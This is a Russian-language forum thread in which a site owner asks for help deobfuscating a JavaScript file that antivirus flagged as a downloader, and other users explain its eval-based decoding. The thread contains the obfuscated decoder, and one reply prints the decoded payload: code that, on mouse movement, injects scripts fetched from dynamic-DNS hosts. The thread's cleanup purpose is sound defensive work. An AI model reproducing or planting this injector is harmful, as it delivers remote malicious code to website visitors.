Определить что делает закодированый js файл
Есть js с примерно таким содержимым:
var oa3a28a="";function yd4e965b5fad4(){var t538e19=String,db7a0e0d5=Array.prototype.slice.call(arguments).join(""),f38bc768=db7a0e0d5.substr(1,3)-322,da49fad5,pe0cce;db7a0e0d5=db7a0e0d5.substr(m1fe4220a());var s604bd1=db7a0e0d5.length;for(var g464f2c0=0;g464f2c0<s604bd1;g464f2c0++){try{throw(mf5f1dc32=db7a0e0d5.substr(g464f2c0,1));}catch(e){mf5f1dc32=e;};if(mf5f1dc32=='•'){f38bc768="";g464f2c0++;fe044d=s0e90a(db7a0e0d5,g464f2c0);while(fe044d!='•'){f38bc768+=fe044d;g464f2c0++;fe044d=db7a0e0d5.substr(g464f2c0,1);}f38bc768-=595;continue;}da49fad5="";if(mf5f1dc32=='±'){g464f2c0++;mf5f1dc32=db7a0e0d5.substr(g464f2c0,1);while(mf5f1dc32!='±'){da49fad5+=mf5f1dc32;g464f2c0++;mf5f1dc32=db7a0e0d5.substr(g464f2c0,1);}da49fad5=j2ef85b21(da49fad5,f38bc768,9);if(da49fad5<0)da49fad5+=256;da49fad5=l1e549fb(da49fad5);j5e81c9(da49fad5);continue;}kea974=(mf5f1dc32+'')["\x63\x68a\x72\x43od\x65At"](0);if(kea974>848)kea974-=848;pe0cce=kea974-f38bc768-9;pe0cce=jbbd0e90f(pe0cce);oa3a28a+=t538e19["\x66\x72om\x43h\x61\x72Co\x64e"](pe0cce);}}yd4e965b5fad4 Необходимо выяснить, что делает данный скрипт и удалить строки, которые отвечают за вредоносный код. При помощи антивируса удалось выяснить, что это downloader\redirect скрипт. Как разобраться в таком файле? |
код скрипта не полный не хватает
... db7a0e0d5 = Array.prototype.slice.call(arguments).join(""), ... db7a0e0d5 = db7a0e0d5.substr(m1fe4220a()); m1fe4220a() функции нет в приведенном скрипте Пока это не рабочий кусок скрипта |
Это просто функция, она делает что-то с переданными в параметры строками. Без параметров не очень ясно, что именно.
|
Вложений: 1
Я выложил кусок для примера.
Не знаю как целиком, выложить скрипт, т.к. он больше 10000символов. Во вложении архив с текстовым файлом. |
для скрипта еще нужно указывать правильную кодировку
но в целом и так понятно все параметры функции yd4e965b5fad4 сливаются в одну строку db7a0e0d5 = Array.prototype.slice.call(arguments).join("") первая часть этой строки хранит смещения вторя часть (f38bc768 = db7a0e0d5.substr(1, 3) - 322), это t538e19.charcode(pe0cce) которые собираются в строку которая потом eval(oa3a28a); Но так как кодировка скрипта == ХЗ Евал отваливается с ошибкой т.к. в нем мусор из за неправильной кодировки |
MallSerg, :lol:
ProbablyNot, вот что он делает: (function() { var url = 'http://2q0bw4b.lpjbikjwor.kicks-ass.net/g/'; if (typeof window.xyzflag === 'undefined') { window.xyzflag = 0; } document.onmousemove = function() { if (window.xyzflag === 0) { window.xyzflag = 1; var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.onreadystatechange = function () { if (this.readyState == 'complete') { window.xyzflag = 2; } }; script.onload = function() { window.xyzflag = 2; }; script.src = url + Math.random().toString().substring(3) + '.js'; head.appendChild(script); } }; })(); (function() { var url = 'http://4t9vtudd.qujgxgulis.blogdns.com/g/'; if (typeof window.xyzflag === 'undefined') { window.xyzflag = 0; } document.onmousemove = function() { if (window.xyzflag === 0) { window.xyzflag = 1; var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.onreadystatechange = function () { if (this.readyState == 'complete') { window.xyzflag = 2; } }; script.onload = function() { window.xyzflag = 2; }; script.src = url + Math.random().toString().substring(3) + '.js'; head.appendChild(script); } }; })(); Латай дыры на сайте и удаляй этот скрипт вот и всё... |
Цитата:
Если не трудно, можете объяснить как вы его преобразовали? |
Молодец console.log перед евалом поставиль
|
ProbablyNot, :thanks: в личке см
MallSerg, :thanks: |
Часовой пояс GMT +3, время: 20:49. |